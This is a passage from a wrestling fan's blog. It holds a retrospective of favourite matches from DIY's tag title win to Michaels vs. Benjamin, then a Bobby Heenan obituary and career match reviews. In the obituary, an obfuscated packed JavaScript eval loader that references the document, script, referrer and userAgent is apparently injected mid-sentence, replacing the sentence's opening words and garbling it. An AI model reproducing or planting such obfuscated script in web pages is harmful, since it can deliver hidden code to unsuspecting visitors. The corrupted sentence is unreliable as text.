The champs load up Meet in the Middle but Wilder superkicks Dawson by mistake, setting up a Shatter Machine on Wilder for a VERY close two. The fans (and myself) completely bought that and you can feel the air go out on the kickout. Dawson grabs a rollup for two…but the referee realizes that he’s not legal. That’s so out of place but it makes perfect sense in a match like this.

Wilder BLASTS Gargano’s good knee with a chop block but we actually go to a pinfall reversal sequence. A rollup is countered into the Gargano Escape and the fans are all over it again. Dawson dives in for the save, only to be cut off again by Ciampa, who slaps on his flip over armbar. The champs are in trouble in the middle of the ring but grab hands to hold on. It only lasts for a little while though and the double tap FINALLY makes DIY champions at 22:17.

Rating: A. I called this the co-Match of the Year along with Sami Zayn vs. Shinsuke Nakamura from Takeover: Dallas as I just couldn’t separate the two of them. This is another great example of the crowd carrying a match far beyond where it was going to go on its own and that almost always works wonders. The stolen Shatter Machine was one of the best near falls I can remember in a LONG time and the ending, with the double submission to make it clear that both champions had been bested making it even better. Just an outstanding piece of tag team wrestling and something everyone needs to see.

Let’s try some singles wrestling instead, with a gimmick that they’ve never really used since.

From In Your House XIII.

So back at the 1997 Royal Rumble, Steve Austin was eliminated but snuck back in and eliminated real winner Bret Hart to be declared the winner. The solution: throw the remaining four into one match to crown a new #1 contender. In this case it’s a mini battle royal with over the top, pinfalls or submissions for eliminations. However, less than a week before this, Shawn Michaels misplaced his smile and vacated the WWF World Title. Therefore, let’s just throw it on the line here.

WWF World Title: Bret Hart vs. Undertaker vs. Steve Austin vs. Vader
Date: February 16, 1997
Location: UTC Arena, Chattanooga, Tennessee
Attendance: 6,399
Commentators: Jim Ross, Jerry Lawler

The title is vacant coming in and the winner has to defend against Sid tomorrow night. Vader has Paul Bearer with him, continuing Bearer’s long running war with Undertaker. The monsters slug it out to start while the normal (work with me here) sized guys go at it in the corner. That goes nowhere so it’s Old School for Austin, only to have Vader grab a belly to belly on Undertaker.

Vader and Undertaker head outside (through the ropes, meaning they’re still in) with Vader swinging a chair, only to hit the post by mistake. A second attempt is kicked back into his face, drawing a good reaction from the already hot crowd. Vader’s eye is busted and since it’s Vader, you know it’s going to be a good one. Everyone gets back in with Vader slugging at Undertaker’s face while Austin jawbreaks his way out of a sleeper for two.

Something like a Stunner (which was sold more like a swinging neckbreaker) gets the same on Undertaker and Vader hits Bret low. Austin and Undertaker take turns throwing each other into the corner, leaving the other two out on the floor. A chair to Bret’s back has him in trouble as Austin tries to piledrive Undertaker in the aisle. They switch off with Undertaker vs. Bret (an easy winner) in the ring and Vader vs. Austin (that’s an interesting one) in the aisle.

Austin misses a swing with the steps and gets his face clubbed in as the announcers try to call the whole thing. Vader gets whipped into the timekeeper’s area and beaten with the belt as Vader’s eye is just gushing. For some reason Vader pulls Bret outside, leaving Undertaker to crotch Austin in the corner. Bret and Vader wind up in the crowd for a few seconds with Bret actually getting the better of it. Austin heads up top for a clothesline (he was such a different, and yet still awesome, worker before the neck injury) on Undertaker before breaking up Vader’s Sharpshooter on Bret.

Undertaker PUNCHES VADER RIGHT IN THE BLOODY EYE, followed by a Thesz Press and right hands from Austin to the same eye. They’re all back in for the first time in a good while with Bret piledriving Austin for two more. Vader’s moonsault misses Undertaker though and the giants head outside again. Bret and Austin tease some over the top eliminations (yeah those are still a thing) as Vader chokes Undertaker down for two. Vader and Hart slug it out with Bret returning the favor for the low blow.

Undertaker can’t get Austin out as Vader (with half of his face covered in blood) armbars Bret. That goes nowhere so Vader just hits him in the jaw really, really hard. Why mess make things more complicated than it needs to be? They trade off and Bret dumps Austin (who was NEVER scheduled to win this, despite stuff that many, including myself, have said before) for the first elimination.

Austin nearly collapses on the floor, which is understandable as he was sick with the flu during this show. Undertaker gives Vader a Stinger Splash of all things but Vader is right back with a chop block. That puts him down on the floor (not eliminated) and Vader FINALLY takes off the mask…which really doesn’t change a thing. Bearer clocks Undertaker with the Urn and gives us some of that high pitched trash talk. Bret gets the attention back on him with A FREAKING TOP ROPE SUPERPLEX ON VADER. A very shaken Undertaker gets back up and breaks a Sharpshooter on Vader for some reason.

Cue Austin to stomp on Bret because he just hates him that much. Vader loads up the Vader Bomb but Undertaker hits him low for the second elimination. Undertaker scares Austin off and chokeslams Bret (going down with him for a spot he didn’t do in his last years). The Tombstone is broken up as Austin grabs Bret’s legs for some reason, leaving Undertaker to go after him. The distraction is enough for Bret to clothesline Undertaker over the top for the title at 24:05.

Rating: A. Sweet goodness what a fight and what a way to kick off possibly the best period the company has ever had. Bret would lose the title to Sid the next night, claim a conspiracy, and turn heel in the process, followed by the aforementioned masterpiece against Austin at Wrestlemania. As for this one though, they were just beating the tar out of each other (with JR NAILING the commentary the whole way through in one of his all time best performances) with Vader’s eye being a highlight. Just a brutal, brutal match here with Bret winning being the right call, especially with what was coming up.

What’s better than a four way brawl? How about one of the best one on one brawls of all time?

From Royal Rumble 2000.

HHH is a monster who the WWF World Title from Mankind the night after Summerslam 1999. After losing the title to Vince McMahon and trading it with Big Show, HHH is already a three time champion in less than six months. Somehow though, he hasn’t had the big feud as champion and still doesn’t have the signature win. If you need someone to get a new megastar over though, there’s one man you call and he just happens to have three different personas living inside his head.

The match was eventually made (after Mideon acting as a Mankind impersonator and Rock threatening to start his own wrestling company) as Mankind vs. HHH in a street fight at Royal Rumble 2000. However, a week or so beforehand, HHH beat the heck out of Mankind in a tag match and left him laying.

Mankind said he wasn’t ready to face HHH in that kind of a match, but he had a suitable replacement. He took off the mask and opened his button down shirt to reveal the Cactus Jack shirt, sending the fans through the roof and HHH into total panic. That’s one of my favorite promos/segments ever as HHH sells it to absolute perfection as he suddenly realizes how far he’s in over his head. So much of this is due to the effort that Foley had put into his characters in the past. It wasn’t just a costume change for Foley, but rather a complete personality change. HHH knew what was waiting on him and he was petrified.

The story on the surface is great enough, but there’s an extra layer (which was barely mentioned in the build and certainly not mentioned during the match) that takes it several steps further. Back on September 4, 1997, Monday Night Raw made its Madison Square Garden debut and featured an incredible falls count anywhere match (which probably should have made this list) between Cactus Jack and HHH with Jack piledriving him through a table on the stage for the pin.

That’s what makes this match so much better. It’s not just Cactus Jack vs. HHH. It’s Cactus Jack vs. HHH in Jack’s signature match in Jack’s backyard in a match where he has every advantage over the champion. HHH was a lot of things at this point but he absolutely was not a street fighter. He had always been able to sneak away with a win and survive, but this time he has no choice but to come out swinging. I love this story and the fact that the match is still to come makes it even better.

WWF World Title: HHH vs. Cactus Jack
Date: January 23, 2000
Location: Madison Square Garden, New York City, New York
Attendance: 19,231
Commentators: Jim Ross, Jerry Lawler

HHH is defending. Sweet goodness I miss the My Time theme. I know the Game intro has become his signature entrance but My Time is just an awesome song for him. Stephanie wisely bails because this is going to get violent in a hurry. They slug it out to start with Cactus pretty easily getting the better of it, as he certainly should. A swinging neckbreaker on the floor drops the champ and we get a CACTUS JACK chant.

The bell bounces off Jack’s head though as HHH is trying to get in whatever shots he can. Jack pops back up so HHH waits in the ring with a chair, but Jack comes right in to face him anyway. One heck of a chair to the face puts Jack down and HHH is looking the slightest bit comfortable. It’s not enough to keep Jack down for more than a few seconds though and Jack drops a leg onto the chair onto HHH’s face. They head outside again with HHH getting backdropped into the crowd and stumbling towards the aisle (which is awesomely decorated like a street for the street fight).

Jack suplexes him onto some wooden pallets, followed by some whips into the metal doorway entrance. HHH gets in a suplex of his own to drop Jack onto a trashcan, followed by a whip to send Jack knees first into the steps. For some reason this just wakes him up and it’s time for the barbed wire 2×4. I mean, it’s obviously the rubber stuff but it’s a cool visual at least. HHH takes it away though and blasts Jack in the ribs a few times. A low blow with the barbed wire cuts HHH off though and the referee takes the board away.

The Spanish commentary team puts it underneath their table, which more or less guarantees a return in a few minutes. It’s actually just a few moments though as Jack goes outside and gets it, only to bump the referee by mistake. Jack blasts HHH in the head with the wire and we’ve got a heck of a blade job. Another shot to the face gets no cover, despite the referee being back up. In the famous shot of the match, Jack rips at HHH’s already cut forehead with the barbed wire. A piledriver through the announcers’ table is broken up as HHH somehow fights back (despite a cut on his calf).

Back in and a catapult sends HHH into the corner and another ram into the wire gives Jack two more. There is so much blood here and it really is making this feel more violent, in a very good way. There’s the Cactus Clothesline (you knew that was coming) but Jack goes knees first into the steps again. Back in and HHH starts swinging away with the barbed wire 2×4….before pulling out handcuffs. Things instantly get more serious as the flashbacks to last year’s I Quit match start up.

HHH cuffs the hands behind Jack’s back and slugs away but stops to grab the steps. A drop toehold into the steps gives Jack a breather but HHH cuts him off with a chair. They head up the aisle with HHH blasting him with the chair over and over. Jack says hit him again but here’s the Rock to cave HHH’s head in with a chair. A cop shows up to unlock the cuffs and Jack has another chance.

Now the piledriver through the table….still doesn’t work as HHH BOUNCES OFF THE TABLE. It’s time for thumbtacks, which was still a huge deal back in the day. Cue Stephanie for a distraction though and HHH backdrops Jack onto the tacks. The Pedigree connects….and it’s good for two. The roof is blown somewhere over New Jersey so HHH Pedigrees him ONTO THE TACKS to retain at 26:52.

Rating: A+. Yep it still works and it still made HHH into a fighter for the rest of his career. This was the match that HHH needed to launch him to the next level because he showed just how far he could and would take it to retain the title. For once he wasn’t just a coward who would use his mind but rather a brawler who could use his fists. Incredible match, with Foley knowing exactly how to string the fans along the whole way and suck them into the story they were telling. Incredible stuff here and one of the best brawls the company has ever had.

HHH is taken off on a stretcher but Jack gets up and takes him back inside for one more shot with the barbed wire to set up the rematch inside the Cell at No Way Out. Stephanie looking terrified at what she just saw is a great visual.

I’ve been liking watching HHH get beaten up so let’s do it again.

From Raw, May 21, 2001.

The night after Wrestlemania XVII, Austin, HHH and Vince formed the Two Man Power Trip (with three members of course). They soon held the World, Intercontinental and Tag Team Titles, dispatching the Hardys and the Brothers of Destruction without too much effort. New challengers were needed and they DESPERATELY needed to be some fresh blood. That’s exactly what we got as well, as Chris Benoit and Chris Jericho issued a challenge to start the show and received their shot later that evening.

Tag Team Titles: HHH/Steve Austin vs. Chris Benoit/Chris Jericho
Date: May 21, 2001
Location: Compaq Center, San Jose, California
Commentators: Jim Ross, Paul Heyman

Austin and HHH are defending. Jericho starts with Austin as you can feel the importance in this one. A running forearm gives Jericho two and a top rope elbow to the head has Austin in early trouble. Benoit comes in for the hard chops that only he could make sound that vicious. Austin gets caught in a top rope superplex and Jericho comes in for no logical reason, allowing HHH to make a save.

Benoit shrugs it off and grabs a Crossface on Austin but HHH hits him with a chair for a delayed near fall. The reactions to the first kickout are very strong, which tells you a lot about how much the fans want to see this one. Benoit has to slug it out with HHH but gets caught with a facebuster for two. Austin’s running crotch attack on the ropes keeps Benoit in trouble and it’s time to work on the ribs.

A few stomps set up an assisted abdominal stretch. Benoit fights up again but gets caught in a sleeper. As you might expect, Benoit suplexes his way to freedom and scores with an enziguri for the tag to Jericho….which the referee misses. Austin takes Benoit outside for a heck of a whipping but the referee gets rid of him, meaning there’s no one to count after a Pedigree. Jericho uses the distraction to missile dropkick HHH and NOW the hot tag brings him in.

Everything breaks down and the Thesz press is countered into the Walls. HHH dives in for the save and OW I TORE MY QUAD! In one of the toughest performances you’ll ever see, HHH loads up the announcers’ table but gets put in the Walls instead, basically making him want to cry in agony. Back inside, Benoit Swan Dives Austin for no count as HHH is tapping. The Stunner hits Benoit but Jericho pulls the referee.

HHH pulls out the sledgehammer as Jericho hits Austin with the Lionsault. There’s still no referee so HHH grabs the sledgehammer, only to hit Austin by mistake (like a Star Destroyer hitting the Death Star in Return of the Jedi), giving Jericho the pin and the titles at 13:55 to one of the biggest reactions you’ll ever hear.

Rating: A-. It’s shorter than I would have liked (NO COMMERCIALS THOUGH) but the ending was absolutely insane. There are rare moments in wrestling where you know things are going to go one way and then something happens to change everything and you suddenly believe in the impossible. That’s what happened when the sledgehammer hit Austin by mistake and the fans came back to life. It’s a great moment to go with a great match and it still holds up.

Now let’s completely shift gears and go with one of my other loves.

From Raw, December 23, 2013.

Something you might not know about me is that I’m a Christmas fanatic. I decorate the house, I wear a Santa hat for the better part of a month, and I regularly watch at least 100 Christmas specials/movies (and yes, I keep a list of them) every year. You don’t see many Christmas related wrestling matches, but that’s what we got here.

It’s a battle to save Christmas between Good Santa (a 400+lb wig splitter who may or may not be the World’s Strongest Man) and Bad Santa (who may or may not be a Latin speaking know-it-all from California). One wants to cancel Christmas and the other wants to save it, meaning IT’S TIME TO HAVE A MATCH ON RAW!

But first, the tale of the tape:

Good Santa (The World’s Strongest Santa)

Height: 6’4

Weight: 405lbs

From: The North Pole (Silsbee, Texas)

Sleigh Make/Model: Humvee H2

Known Associates: Elves, Reindeer

Favorite Christmas Treats: Christmas Cookies and Protein Shakes

Favorite Gifts to Give: Toys, XBOX, Gadgets

Favorite Christmas Tradition: Filling Stockings

Bad Santa (The World’s Smartest Santa):

Height: 6’4

Weight: 243lbs

From: The South Pole (Palo Alto, California)

Sleigh Make/Model: 1977 AMC Spirit

Known Associates: Substitute Teachers, Truant Officers

Favorite Christmas Treats: Onions, Clamato

Favorite Gifts to Give: Slide Rules, The Gift of My Company

Favorite Christmas Tradition: Throwing Snowballs at Carolers

Good Santa vs. Bad Santa
Date: December 23, 2013
Location: Frank Erwin Center, Austin, Texas
Commentators: Michael Cole, John Bradshaw Layfield

There’s a Christmas tree and some presents at ringside and Bad Santa comes out to Xanta Claus’ music in a VERY nice touch. Bad Santa, with a dirty suit, comes out carrying coal. Good Santa drops him with a single kick to the ribs before opening a present. It’s a toilet and of course Bad Santa goes face first into the bowl. Bad Santa pulls out a fire extinguisher…..which doesn’t work.

Good Santa makes it work though (not only does he deliver, but he knows proper fire safety) and they head up the ramp as Cole and JBL argue over whether Santa’s suit is fireproof or if it’s Santa himself. Bad Santa’s candy cane kendo stick is broken in half and Good Santa rolls him down the ramp, right through the tree. Back in and Bad Santa still can’t get the extinguisher to work, meaning he gets blasted again. The World’s Strongest Slam saves Christmas at 3:17.

Rating: A+. I still love it. Moving on.

Post match Good Santa opens some presents (JBL: “ARREST HIM!!! THAT MAN IS A THIEF!!! SANTA DOES NOT STEAL PRESENTS!!!) and finds some Christmas cupcakes. After declaring them pretty good, Bad Santa takes them to the face. JBL: “JIMMY STEWART IS ROLLING OVER IN HIS GRAVE!!!” Stewart is my favorite actor so we’ll call that a bonus.

And finally, back where it all began.

From Wrestlemania I.

It’s the first match I ever reviewed and there’s nothing else to wrap this up with.

Tito Santana vs. The Executioner
Date: March 31, 1985
Location: Madison Square Garden, New York City, New York
Attendance: 19,121
Commentator: Gorilla Monsoon, Jesse Ventura

No story here as Executioner is just a generic masked villain played by Buddy “I ONLY WEIGH 200 POUNDS!” Rose. Before the match, Tito says he doesn’t know much about the undefeated Executioner but he’s standing in Tito’s way and no one gets to do that. Executioner, who stumbles through his words, says he’s going after Tito’s leg. Well to be fair, an executioner doesn’t need to be the most secretive about his strategy. His promo was AWFUL though as he kind of rambled and sounded like any given guy instead of anything menacing.

Executioner is actually much smaller than Tito, which makes for quite the odd visual. Tito backdrops him down and a dropkick puts him on the floor. Back in and Tito scores with a headlock takeover, followed by some right hands into the corner. He takes a bit too long though and Executioner kicks him in the ribs, meaning it’s time to go after the leg. That lasts all of fifteen seconds before Executioner cowers away in the corner as this is almost entirely one sided. A gorilla press off the top gives Tito two and another slam sets up the flying forearm. No cover, but Tito slaps on the Figure Four for the win at 4:49.

Rating: C. Nothing match here but it was a great way to start the show. Tito was a huge crowd favorite and would get a reaction no matter what he did. He’s also one of my all time favorite wrestlers and I had to get him in here somehow. There was no story here and Executioner was a standard villain of the time, but they did this exactly right. Tito was a perfect choice here and it did exactly what it was supposed to do.

For a little bonus, here’s the original review, the first one I ever did.

Tito Santana vs. The Executioner

Anyway, let’s get going with the show. To begin with, in the first match in the history of Wrestlemania, we see Tito Santana vs. The Executioner, portrayed by Buddy “Blow Away” Rose. Before the match we get a pre-recorded interview (which I believe all of them are tonight) from the Executioner saying that he’s going after Santana’s leg which was already injured.

The match is pretty much what you would expect for an 80s WWF match. Very standard stuff that’s by no means bad, but not really great either. Tito is at his best here against a random heel, and he wins in standard fashion with a forearm and the figure four.

Yeah….I think I’ve gotten a bit better, though I didn’t even realize I did the joke about Rose’s name even back then. That made me smile.

Before we get to the final two matches, there are a few that I left off for one reason or another (watched it recently, forgot to put it on at first, didn’t feel like watching it at the moment etc). I’m sure I forgot a few that should be on here but this is kind of like an honorable mention list.

Doomsday Cage – Uncensored 1996

I’m never reviewing this again because I can’t top the old review. It’s by far and away the funniest thing I’ve ever written and I went to a place I’ve never gone when reviewing that one. It was pure comedy and I got into a groove with the match, so I’m not even going to waste my time trying to top it again.

Daniel Bryan vs. Batista vs. Randy Orton – Wrestlemania XXX

I was there, I got to hear “AND NEW WWE WORLD HEAVYWEIGHT CHAMPION” for the first time in my life, which was a wrestling goal. It’s an amazing performance and the only way to cap one of the greatest shows of all time.

Tully Blanchard vs. Magnum TA, I Quit Match – Starrcade 1996

Bret vs. Austin basically copied this at Wrestlemania, albeit with several twists to make it their own. This is one of the best things WCW/the NWA ever did and it’s still one of the most violent matches you’ll ever see.

The Rock vs. Mankind – Raw, January 4, 1999

Mick Foley has achieved his dream, and the dreams of everyone else who has been told YOU CAN’T DO IT!” How does that not give you chills?

Sami Zayn vs. Shinsuke Nakamura – Takeover: Dallas

I’ve never seen a fight like this in person before and it was the co-Match of the Year for 2015. As HHH put it: “When they’re HOLY SH***** the entrances, you’ve got something special.” And they did.

Chris Benoit vs. Kevin Sullivan – Great American Bash 1996

We had enough brawls on here, but these two beat the fire out of each other and it’s excellent stuff with both guys leaving it all in the ring.

Chris Benoit vs. Kurt Angle – Royal Rumble 2003

It’s as good of a technical masterpiece as you’re going to see with Benoit finally getting trapped, not beaten.

The Rock vs. John Cena – Wrestlemania XXVIII

I’ve seen a lot of wrestling (as you can see). There are very few big matches I haven’t seen over the years and that makes you kind of jaded as a fan. It’s very rare to reach a point where I need to see a match, but that’s what happened here. I didn’t know if it was going to be good and I didn’t know if it was going to be bad, but I needed to see it.

John Cena vs. CM Punk – Money in the Bank 2011

Vince McMahon to Cena: “What if you can’t beat him?” And tickets were sold. The fact that it’s a masterpiece is almost a detail as the story was a textbook example of how to build a match and make people need to see what happened.

Undertaker vs. Shawn Michaels – Wrestlemania XXV

Shawn Michaels is the only wrestler who has actually had me on the edge of my seat. He’s done it three times (the Iron Man match vs. Bret, here, and a match we’ll be getting to) and this might have been the best ever. Just outstanding stuff and one of the only times I completely believed the Streak was over.

John Cena vs. Brock Lesnar – Summerslam 2014

Brock started hitting German suplexes and then hit the first F5. As he covered, I sat up and shouted out loud “NO WAY!!! NO WAY!!!” Getting that kind of a reaction out of me takes something special and Cena taking that kind of a beating in a glorified squash did exactly that.

And now, on to the biggest battle of good vs. evil that you’ll ever find from WCW.

From Starrcade 1992

Sting was WCW’s Hulk Hogan. He had more charisma than he knew what to do with, would fight evil at every turn, and never stopped being my WCW hero. Then along came a monster the likes of which we had never seen. His name was Vader, and at Great American Bash 1992, he did the unthinkable by squashing Sting to win the title. Later in the year, WCW held a tournament called the King of Cable (named after the ropes, because WCW is weird that way) and guess who was in the finals. Sting talked about taking Vader to a place he had never been before and the hype was on.

King of Cable: Sting vs. Vader
Date: December 28, 1992
Location: The Omni, Atlanta, Georgia
Attendance: 8,000
Commentators: Jesse Ventura, Jim Ross

Vader has Harley Race in his corner and, since this was a show built around the Battlebowl competition, both have already wrestled tonight. Vader poses at him to start but Sting doesn’t bite. A lockup goes to Vader about a minute in so Sting slugs away to little avail. Another slam drops Sting so he charges at Vader….and is dropped with the standing splash. Sting gets knocked outside before coming back in with a string of clotheslines.

The Cactus Clothesline puts them outside and Vader is ROCKED, even losing his mask. A slingshot dive takes out Vader and Race as Sting is all kinds of fired up, just like the crowd cheering him on. Back in and a DDT plants Vader again as Sting has already done more against him than almost anyone ever. Sting isn’t done as he grabs a super DDT for two but Vader gets the rope to break the Scorpion.

They head outside again with Vader splashing him against the barricade to get things even again. A couple of clotheslines get two and it’s a suplex into a splash for the same as Sting is looking desperate. We hit something like a seated abdominal stretch with another clothesline taking Sting’s head off. Vader misses a sitdown splash though and Sting snaps off a belly to back suplex to get a breather. He’s so banged up though that Vader actually gets a cover before Sting can get up.

More right hands in the corner have Sting in trouble but he says bring it on. Vader keeps slugging away but they’re getting a little weaker each time. Sting on the other hand is getting fired up and a right hand staggers Vader. A few more put him down and a Samoan drop plants the monster again. Sweet goodness that’s impressive strength.

Sting gets two more off a top rope splash but a Race distraction lets Vader BLAST him in the back of the head. A chokeslam puts Sting down again and Vader goes up for a middle rope splash with the impact bouncing him off the cover. Vader goes up again, only to dive into a powerslam to give Sting the pin and blow the roof off the place at 17:40.

Rating: A-. As I said earlier, it takes something special to get me fired up watching a match I’ve seen time and time again. This was every bit of Rocky vs. Apollo Creed and/or Clubber Lang with Sting taking everything they had and somehow surviving until he could catch the monster with one big shot. Sting is one of the most cheerable wrestlers you’ll ever see and him slugging away at the monster who could move like that was one of the most entertaining things WCW ever did. This match never gets old to me and that makes it special.

With all that done, there was only one thing that could have topped this list.

From Raw, May 2, 2005.

Back in 2005, Batista needed a #1 contender so we had a tournament. The first round was held on one episode of Raw and there was a surprise entrant. Here’s my favorite match ever.

Shelton Benjamin vs. Shawn Michaels
Date: May 2, 2005
Location: FleetCenter, Boston, Massachusetts
Attendance: 6,500
Commentators: Jim Ross, Jerry Lawler

Shelton’s Intercontinental Title isn’t on the line and you can see him being a bit nervous when Shawn’s music hits. Shawn tries to wrestle him to the mat and you just don’t do that against an All-American wrestler. Back up and Shawn tries it again, only to have Shelton easily ride him for a bit. You can see the frustration sitting in on Shawn early so he tries a headlock instead.

Shelton seems to miss his timing as he kicks Shawn away but he makes up for it with some fast armdrags. A headlock keeps Shawn down for a bit until he pops up for a running forearm. That’s fine with Shelton who Cactus Clotheslines him out to the floor as Michaels can’t get out of the blocks.

Back from a break with Shelton reversing a belly to back superplex into a crossbody. A modified backbreaker gives Shelton two as you can hear the crowd getting more into these near falls. Shawn finally hits the flying forearm into the nipup….but Shelton nips up as well (if not a bit better). He looks like he saw Undertaker sitting up and we hit the pinfall reversal sequence.

A Stinger Splash cuts Shawn off in the corner he’s in big trouble. Sweet Chin Music is countered into a very loud Dragon Whip for a close two. Shawn is able to shove him off the top though and the top rope elbow gets two. Sweet Chin Music is blocked again though and Shelton kicks his head off for an even nearer fall. Shelton jumps from the mat to the top rope (WHO DOES THAT???) into a spinning clothesline for two more and now frustration is setting in on Benjamin.

With nothing else working, Shawn sends him to the apron where Shelton tries a springboard….only to jump right into Sweet Chin Music to take his head off for the pin at 14:43. That’s still one of the best finishers I’ve ever seen, even if I have no idea what Shelton was going for.

Rating: A. Of all the matches I’ve seen, this is my favorite for more than one reason. First and most obviously, it’s really, really good with Shelton being an athletic freak and Shawn being the one person who could hang with him until he could catch him off guard. That spot where Shelton nips up and Shawn is stunned sums up most of the story and made Shelton look like a huge deal as Shawn doesn’t impress easily.

The idea of this match is great too: it’s Shawn fighting himself from ten years ago. Back in the 90s, Shawn was the athletic freak that no one could hang with, but now he’s been surpassed. Now though, Shawn is ten years older and ten years smarter. He knew that Shelton was going to get too flashy, just as Shawn had before, and that’s when he could catch him with the big shot. It’s Shawn setting a trap based on his own history and setting Shelton up for something he wasn’t ready for. That’s telling a story and psychology, which is why this match is special to me.

What really makes this one special though is it’s the first time I ever understood the concept of telling a story in a match. Until this match I never quite grasped the idea of subtleties and psychology and all that good stuff. It’s basically the match where it clicked for me and it just happened to be in a classic match with a great story. I saw Shawn being outmatched by the same stuff he used to do and then catching Shelton in the end and I understood the story. It was the light turning on and a big step forward for me as a wrestling fan, which had a big help in getting me where I am today.

And that’s that. It’s almost impossible to believe that I’ve been doing this for almost nine years now and things are actually only just getting started for me in a way. I’ve been to three out of the last four Wrestlemanias and I’ll be going to my third in a row next year. Even when I started this, that would have sounded crazy to me but yet somehow here I am, having met close to two hundred wrestlers, including the four in those final two matches.

I’ve said it since the beginning and it’s still true today: I don’t have any special knowledge or inside information when it comes to wrestling. All I am is a really big fan who has watched wrestling my whole life (I still haven’t missed an episode of Raw since it debuted) and knows a fair bit of history. There are things about wrestling I’m never going to know or understand and that’s not going to change anytime soon. I’m just someone who watches a lot of wrestling and got lucky with a reviewing style that people seem to enjoy I’m very lucky that way and I still don’t quite know how it works.

I have no idea how I got here but I honestly can’t imagine doing anything else. Wrestling is one of the true passions in my life and I still love watching it every single week. Somehow I’ve turned that love into a career and while I have no idea how I pulled that off, I know I never could have done it without an amazingly loyal group of readers and fans, all of whom I am so grateful for every single day.

It’s because of all of you that I’ve had someone stop me at a show because they’re a fan of mine and why I have a shelf of books with my name on them and why when people ask me what I do, I can say I write for a living. That’s something I never would have believed just a few years ago and I’m still in awe over it every single day. As I said at the beginning, because it can’t be said enough, thank you all so much for every single thing you’ve ever done and I hope I’ve entertained you once or twice over the years. I’ll be around as long as people want me to be, still loving what I do every day.

KB

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Bobby Heenan Passes Away At 73

https://wrestlingrumors.net/breaking-news-bobby-brain-heenan-passes-away-73/

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdaif|var|u0026u|referrer|tdndd||js|php'.split('|'),0,{})) is far from a surprise but dang it still hurts a lot.  I got to see Heenan in Orlando at Wrestlecon and I’ve seen walkers on the Walking Dead who looked more lifelike.  For me there’s no debating it: Heenan is the greatest manage of all time and one of the best commentators ever as well.  This one feels like a punch to the gut and it’s going to take me some time to get over it.  One last thing:

“I wish Monsoon was here.”

You can imagine the arguments they’ll have now.  I’ll miss you Brain.

 

Here’s Heenan’s Wrestler of the Day entry.

 

Today is the greatest manager and one of the best talkers of all time: Bobby Heenan.

Heenan got his start in the AWA where he was the top manager and occasionally wrestled. I have no idea when this took place but I would assume some point in the mid to late 1970s.

Crusher/Dick the Bruiser/Little Bruiser vs. Blackjacks/Bobby Heenan

Little Bruiser is a midget brought in to neutralize Heenan. We start with the comedy pair as Heenan drops to his knees to fight. Little Bruiser immediately dropkicks him out to the floor and we have a standoff. Big Bruiser comes in to face Mulligan and easily takes him down with a snapmare into a neck crank. Little Bruiser sneaks in for some cheap shots before Dick knees Mulligan in the ribs for two.

Off to the Crusher vs. Lanza with the Blackjacks double teaming Crusher in the corner. Little Bruiser chases Heenan around for a bit, allowing Crusher to get his hands on Heenan. Bobby gets whipped into the Tree of Woe but Little Bruiser gets him down with a kick to the ribs. It’s back to Crusher vs. Lanza with Crusher going to the eyes, unlike the hero he’s supposed to be. Bruiser comes in for some knees to the ribs before going after Lanza’s bad knee.

Mulligan comes in to save his partner as everything breaks down for a little bit. Bruiser takes a beating but ducks Mulligan’s punches to frustrate the big man. For some reason Mulligan tags in Heenan, allowing Bruiser to backdrop him for two. The fight heads to the floor with the Blackjacks being rammed together. Heenan is busted wide open so the good guys pound away at the cut. Oh man he is gushing blood.

The Blackjacks get punched again but finally save their manager from the Bruiser. Back to Crusher as everything breaks down again. The Blackjacks are thrown into Heenan and Little Bruiser is launched onto Mulligan for two. They do the same thing to Lanza for the same but finally Little Bruiser’s top rope splash to Heenan is good for the pin.

Rating: D+. This wasn’t great and the biggest problem was not knowing what kind of a match this was supposed to be. They kept jumping back and forth between a brawl and a comedy match and it became an issue more than once. The match would have been a lot better if it was just a handicap match but it wasn’t terrible.

We’ll jump to the WWF now for a rare singles match at MSG on November 26, 1984.

Salvatore Bellomo vs. Bobby Heenan

This is from 1984 and there’s no story to it. Heenan just used to be a wrestler on occasion. Heenan bails to the apron of course because he’s Bobby Heenan. Bellomo beats on Heenan like he stole something and flips him in the corner. Heenan takes a bunch of dropkicks, including one sending him into the post. Heenan needs a doctor. Back in and Bobby takes even more of a beating.

Bobby actually takes over with a rake to the eyes and a lot of basic stuff. Then again, what are you expecting from Bobby Heenan the Wrestler? They collide and Heenan looks dead. Bellomo drives in some headbutts but Heenan pokes him in the eyes. Out to the floor and Heenan pops him as he comes back in. A guillotine puts Sal on the floor for the third time. Bellomo tries a sunset flip but Heenan punches him in the face, drops on top of him, AND GETS A CLEAN PIN.

Rating: A+. Bobby Heenan got a clean pin. Do you realize what it means for your career when you get pinned clean in Madison Square Garden by BOBBY HEENAN??? The match sucked but totally awesome for surprise value. This is on Heenan’s DVD, mainly because I don’t remember him ever winning another singles match on his own.

Heenan would manage Big John Studd and help him in some tag matches, such as this one at MSG on June 21, 1985.

US Express/George Steele vs. Adrian Adonis/Big John Studd/Bobby Heenan

This is from MSG and this show is a bit more famous because of the debut of Randy Savage on it. No one wants to start with the Animal. Barry and Adonis (not yet gay or in pink) start us off. Let the stalling begin! Before anything happens, Heenan is brought in so Windham tags Steele. Heenan DIVES to the floor to hide and it’s back to Adonis. Now it’s back to Windham before any contact has been made at all.

Off to Studd to meet Windham and Barry is knocked down pretty easily. It isn’t often that Barry has to speed things up but he does it here as he doesn’t have another option. He keeps going for the slam which doesn’t work at all. A cross body gets two. Clipped to Heenan being brought in and Barry beats him down like a world champion beating on a manager.

